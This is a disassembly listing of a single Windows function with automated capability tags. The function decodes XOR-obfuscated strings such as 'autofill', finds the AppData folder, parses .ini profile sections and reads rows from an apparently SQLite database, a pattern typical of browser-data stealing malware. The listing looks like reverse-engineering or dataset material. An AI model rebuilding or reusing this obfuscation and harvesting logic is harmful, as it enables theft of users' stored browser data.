Function at 0x435ef0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5057d5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1458
push ebx
call fcn.004dcbf0
push esi
mov esi, ecx
mov dword [ebp - 0xd8], esi
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.004668c0
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x24], 1
mov eax, esp
lea ecx, [ebp - 0x78]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00462d10
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x1e], 0x98828095
mov dword [ebp - 0x1a], 0x9796909e
mov word [ebp - 0x16], 0x100
nop dword [eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x435f90
lea eax, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
push eax
mov ecx, esi
call fcn.00468ee0
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0x78]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x70]
mov byte [ebp - 0x78], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x78]
mov dword [edi + 8], eax
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], esi
call fcn.00462970
push 0x104
lea eax, [ebp - 0x468]
push 0
push eax
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0x468]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x468]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x436010
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x436ef0
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x468]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
call fcn.0046c790
mov dword [ebp - 0x24], 0x41
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x58], 0x988485a8
mov dword [ebp - 0x54], 0x9e96909e
mov dword [ebp - 0x50], 0x9197d38f
mov word [ebp - 0x4c], 0x69
mov byte [ebp - 0x4a], 1
nop dword [eax + eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 0xd
jb 0x436080
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x4a], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x436097
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x150]
sub eax, edx
cmp eax, ecx
jb 0x436ef5
cmp dword [ebp - 0x14c], 0x10
lea eax, [ebp - 0x160]
push ecx
cmovae eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x58]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x148]
call fcn.0046c790
mov esi, 0x61
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 5
lea eax, [ebp - 0x148]
cmp dword [ebp - 0x134], 0x10
cmovae eax, dword [ebp - 0x148]
push eax
push 0x1000
lea eax, [ebp - 0x1468]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea edi, [ebp - 0x1468]
mov dword [ebp - 0x9c], edi
nop
mov dword [ebp - 0x1d], 0x919987a4
xor ecx, ecx
mov dword [ebp - 0x19], 0x9f9591
mov byte [ebp - 0x15], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 7
jb 0x436134
push 7
lea eax, [ebp - 0x1d]
mov byte [ebp - 0x15], 0
push eax
push edi
call fcn.004e946e
add esp, 0xc
test eax, eax
jne 0x436e03
push 0x104
push eax
lea eax, [ebp - 0x360]
push eax
call fcn.004dde70
add esp, 0xc
mov dword [ebp - 0x42], 0x9f8294a4
cmp dword [ebp - 0x134], 0x10
lea edx, [ebp - 0x148]
mov word [ebp - 0x3e], 0x100
cmovae edx, dword [ebp - 0x148]
xor ecx, ecx
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 4
jb 0x436194
push edx
push 0x104
lea eax, [ebp - 0x360]
mov byte [ebp - 0x3d], 0
push eax
push 0
lea eax, [ebp - 0x42]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x39]
mov word [ebp - 0x39], 0x5c
mov byte [ebp - 0x37], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4361d0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x150]
sub eax, edx
cmp eax, ecx
jb 0x436ef0
cmp dword [ebp - 0x14c], 0x10
lea eax, [ebp - 0x160]
push ecx
cmovae eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x39]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb8]
call fcn.0046c790
or esi, 2
mov dword [ebp - 0x24], esi
lea eax, [ebp - 0x360]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xb8]
call fcn.00464be0
or esi, 4
mov dword [ebp - 0x24], esi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0x10
jb 0x4362a0
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436296
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436efa
push ecx
push edx
call fcn.004dbe91
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xa8], 0
lea ecx, [ebp - 0x360]
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4362e0
sub ecx, edx
lea eax, [ebp - 0x360]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402810
mov byte [ebp - 4], 9
lea edi, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
mov esi, dword [ebp - 0x80]
cmovae edi, dword [ebp - 0x90]
test esi, esi
je 0x436403
push esi
push 0x2f
push edi
call fcn.004df660
add esp, 0xc
test eax, eax
je 0x436403
sub eax, edi
cmp eax, 0xffffffff
je 0x436403
sub esp, 0x18
mov word [ebp - 0x3c], 0x2f
mov edx, esp
mov byte [ebp - 0x3a], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x3c]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x436367
sub ecx, esi
lea eax, [ebp - 0x3c]
push ecx
push eax
mov ecx, edx
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x90]
mov ecx, esp
push eax
call fcn.00464ec0
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 9
call fcn.0040be70
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x1a0]
mov esi, dword [ebp - 0x1a4]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0x90]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x4363f1
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x4363e4
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00464ab0
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 9
call fcn.004670b0
mov esi, dword [ebp - 0x80]
cmp dword [ebp - 0x7c], 0x10
lea edi, [ebp - 0x90]
cmovae edi, dword [ebp - 0x90]
test esi, esi
je 0x4364f4
push esi
push 0x5c
push edi
call fcn.004df660
add esp, 0xc
test eax, eax
je 0x4364f4
sub eax, edi
cmp eax, 0xffffffff
je 0x4364f4
sub esp, 0x18
mov word [ebp - 0x36], 0x5c
mov edx, esp
mov byte [ebp - 0x34], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x36]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x436467
sub ecx, esi
lea eax, [ebp - 0x36]
push ecx
push eax
mov ecx, edx
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x90]
mov ecx, esp
push eax
call fcn.00464ec0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 9
call fcn.0040be70
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x54]
mov esi, dword [ebp - 0x58]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0x90]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x4364e8
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x4364db
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00464ab0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 9
call fcn.004670b0
movaps xmm0, xmmword [0x525200]
xor ecx, ecx
movups xmmword [ebp - 0xb2], xmm0
mov dword [ebp - 0xa2], 0x63716d
mov byte [ebp - 0x9e], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xb2], al
inc ecx
cmp ecx, 0x13
jb 0x436515
lea ecx, [ebp - 0xb2]
mov byte [ebp - 0x9e], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x436535
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x1ac]
sub eax, edx
cmp eax, ecx
jb 0x436ef0
cmp dword [ebp - 0x1a8], 0x10
lea eax, [ebp - 0x1bc]
push ecx
cmovae eax, dword [ebp - 0x1bc]
lea ecx, [ebp - 0xb2]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x130]
call fcn.0046c790
mov esi, dword [ebp - 0x24]
or esi, 8
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], 0x1009786
xor ecx, ecx
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 2
jb 0x436592
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0x28]
lea eax, [ebp - 0x130]
mov byte [ebp - 0x25], 0
cmovae eax, dword [ebp - 0x130]
push ecx
push eax
call fcn.004e1ce0
add esp, 8
test eax, eax
je 0x436d16
push eax
call fcn.004e5568
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x70]
push 0
mov byte [ebp - 0x78], 0
call fcn.004668c0
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x108]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00462d10
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0x78]
test al, al
jne 0x436676
push 8
mov byte [ebp - 0x78], 1
call fcn.004dbc10
mov esi, eax
add esp, 4
lea eax, [ebp - 0x93]
mov dword [ebp - 0x194], esi
mov dword [ebp - 0x198], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004dbc10
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x70], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x436681
cmp al, 1
jne 0x436f57
mov esi, dword [ebp - 0x70]
lea eax, [ebp - 0x90]
mov ecx, esi
push eax
call fcn.00466a90
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x108]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x100]
mov byte [ebp - 0x108], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x108]
mov dword [edi + 8], eax
mov dword [ebp - 0x100], edx
mov dword [ebp - 0xfc], esi
call fcn.00462970
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0x130]
lea edx, [ebp - 0xd4]
cmovae ecx, dword [ebp - 0x130]
call fcn.00413f50
test eax, eax
jne 0x436cc6
movaps xmm0, xmmword [0x524bb0]
xor ecx, ecx
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xac], 0x6579734b
movaps xmm0, xmmword [0x524e20]
movups xmmword [ebp - 0xbc], xmm0
mov dword [ebp - 0xa8], 0x68737175
mov dword [ebp - 0xa4], 0x666c7268
mov word [ebp - 0xa0], 0x1b
mov byte [ebp - 0x9e], 1
nop word [eax + eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xcc], al
inc ecx
cmp ecx, 0x2d
jb 0x436750
mov ecx, dword [ebp - 0xd4]
lea eax, [ebp - 0x98]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0xcc]
mov byte [ebp - 0x9e], 0
call fcn.004c1590
add esp, 0x14
test eax, eax
jne 0x436cbb
mov edi, dword [ebp - 0x98]
mov ecx, edi
call fcn.0049dec0
cmp eax, 0x64
jne 0x436c43
lea eax, [ebp - 0x91]
mov dword [ebp - 0x190], eax
lea eax, [ebp - 0x92]
mov dword [ebp - 0x188], eax
test edi, edi
je 0x43680f
cmp dword [edi + 0x2c], 0
je 0x4367ea
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x4367ea
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4367e5
push eax
call dword [0x532d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x436814
mov eax, dword [edi]
test eax, eax
je 0x43680f
mov eax, dword [eax + 0x44]
test eax, eax
je 0x436801
push eax
call dword [0x532d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048c880
add esp, 0xc
mov ecx, 0x51d4d8
mov dl, 1
call fcn.0049ad90
mov dword [ebp - 0xd0], eax
test edi, edi
je 0x4368d1
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43685f
cmp byte [esi + 0x1e], 0
jne 0x436842
mov edx, esi
cmp ecx, 0xc0a
jne 0x43685a
push 0
push 7
push esi
call fcn.0048c880
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x436866
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43687c
push eax
call dword [0x532d28]
add esp, 4
test edi, edi
je 0x4368d1
cmp dword [edi + 0x2c], 0
je 0x4368ac
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x4368ac
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4368a4
push eax
call dword [0x532d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x4368d6
mov eax, dword [edi]
test eax, eax
je 0x4368d1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4368c3
push eax
call dword [0x532d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048c880
add esp, 0xc
mov ecx, 0x51d4d8
mov dl, 1
call fcn.0049ad90
mov dword [ebp - 0x2c], eax
test edi, edi
je 0x436937
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43691a
cmp byte [esi + 0x1e], 0
jne 0x4368fd
mov edx, esi
cmp ecx, 0xc0a
jne 0x436915
push 0
push 7
push esi
call fcn.0048c880
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x436921
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x436937
push eax
call dword [0x532d28]
add esp, 4
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xe0]
push 0
mov byte [ebp - 0xe8], 0
call fcn.004668c0
mov byte [ebp - 4], 0x16
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x110], xmm0
mov byte [ebp - 0x118], 3
call fcn.004dbc10
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18c], esi
mov ecx, dword [ebp - 0xd0]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x17
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4369a0
sub ecx, edx
push ecx
push dword [ebp - 0xd0]
mov ecx, esi
call fcn.00402810
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x110], esi
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x48], 0x929b949a
mov word [ebp - 0x44], 0x100
nop word [eax + eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 4
jb 0x4369e0
lea eax, [ebp - 0x48]
mov byte [ebp - 0x43], 0
push eax
lea ecx, [ebp - 0xe8]
call fcn.00468ee0
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x10c]
mov edi, dword [ebp - 0x14]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x118], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x110], ecx
lea ecx, [ebp - 0x118]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x10c], edx
call fcn.00462970
xorps xmm0, xmm0
mov byte [ebp - 0xf8], 3
push 0x18
movq qword [ebp - 0xf0], xmm0
call fcn.004dbc10
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x184], esi
mov ecx, dword [ebp - 0x2c]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x19
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x436a82
sub ecx, edx
push ecx
push dword [ebp - 0x2c]
mov ecx, esi
call fcn.00402810
mov dword [ebp - 0x184], 0
mov dword [ebp - 0xf0], esi
mov byte [ebp - 4], 0x1a
xor eax, eax
mov dword [ebp - 0x33], 0x829a9482
mov word [ebp - 0x2f], 0x9d
mov byte [ebp - 0x2d], 1
nop dword [eax]
lea ecx, [eax - 0xc]
xor byte [ebp + eax - 0x33], cl
inc eax
cmp eax, 5
jb 0x436ac0
mov al, byte [ebp - 0xe8]
mov byte [ebp - 0x2d], 0
test al, al
jne 0x436b09
push 1
lea ecx, [ebp - 0x180]
mov byte [ebp - 0xe8], 1
call fcn.004668c0
mov esi, dword [ebp - 0x180]
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0xdc], eax
jmp 0x436b17
cmp al, 1
jne 0x436eff
mov esi, dword [ebp - 0xe0]
xorps xmm0, xmm0
mov dword [ebp - 0x168], 0
lea edx, [ebp - 0x33]
mov dword [ebp - 0x164], 0
movups xmmword [ebp - 0x178], xmm0
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x436b40
sub edx, ecx
lea eax, [ebp - 0x33]
push edx
push eax
lea ecx, [ebp - 0x178]
call fcn.00402810
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x1b
push eax
mov ecx, esi
call fcn.0046bf10
mov byte [ebp - 4], 0x1a
mov esi, eax
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x436bab
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436ba1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436efa
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov byte [ebp - 4], 0x16
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov byte [ebp - 0xf8], al
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xf0], ecx
lea ecx, [ebp - 0xf8]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0xec], edx
call fcn.00462970
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x78]
call fcn.004625e0
lea ecx, [ebp - 0xe8]
push ecx
mov ecx, eax
call fcn.00462300
lea ecx, [ebp - 0xe8]
mov byte [ebp - 4], 0x10
call fcn.00462970
mov edi, dword [ebp - 0x98]
mov ecx, edi
call fcn.0049dec0
cmp eax, 0x64
je 0x4367c0
test edi, edi
je 0x436cbb
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x436c5d
push eax
call dword [0x532d20]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x2c], 0
cmp eax, 0xbdf20da3
je 0x436c75
cmp eax, 0x519c2973
jne 0x436c7f
mov ecx, edi
call fcn.0049ccc0
mov dword [ebp - 0x2c], eax
mov ecx, edi
call fcn.0049ced0
test esi, esi
je 0x436caa
cmp byte [esi + 0x1e], 0
jne 0x436c99
cmp dword [ebp - 0x2c], 0xc0a
jne 0x436caa
push 0
push 7
push esi
call fcn.0048c880
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x436cbb
push eax
call dword [0x532d28]
add esp, 4
mov ecx, dword [ebp - 0xd4]
call fcn.00414380
mov dword [ebp - 0x62], 0x98828095
xor ecx, ecx
mov dword [ebp - 0x5e], 0x9796909e
mov word [ebp - 0x5a], 0x100
nop dword [eax]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x62], al
inc ecx
cmp ecx, 8
jb 0x436ce0
mov ecx, dword [ebp - 0xd8]
lea eax, [ebp - 0x62]
push eax
mov byte [ebp - 0x59], 0
call fcn.00468ee0
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00462300
lea ecx, [ebp - 0x78]
call fcn.00462970
mov esi, dword [ebp - 0x24]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x436d54
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436d4a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436efa
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp ecx, 0x10
jb 0x436daa
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436da0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436efa
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x1a8]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
cmp ecx, 0x10
jb 0x436dfd
mov edx, dword [ebp - 0x1bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436df3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436efa
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov edi, dword [ebp - 0x9c]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
mov dword [ebp - 0x9c], edi
cmp byte [edi], 0
jne 0x436120
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x436e56
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436e4c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436efa
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
cmp ecx, 0x10
jb 0x436ea7
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436e9d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436efa
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x436ed7
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436ecd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436efa
push ecx
push edx
call fcn.004dbe91
add esp, 8
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402040
call fcn.00402040
call fcn.004e1130
lea ecx, [ebp - 0xe8]
call fcn.00466b90
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402700
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x224]
call fcn.00468d20
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1d8]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x1d8]
push 0x530028
push eax
call fcn.004dd87b
lea ecx, [ebp - 0x78]
call fcn.00466b90
push eax
lea ecx, [ebp - 0x23c]
call fcn.00402700
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x254]
call fcn.00468d20
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1f4]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x1f4]
push 0x530028
push eax
call fcn.004dd87b
int3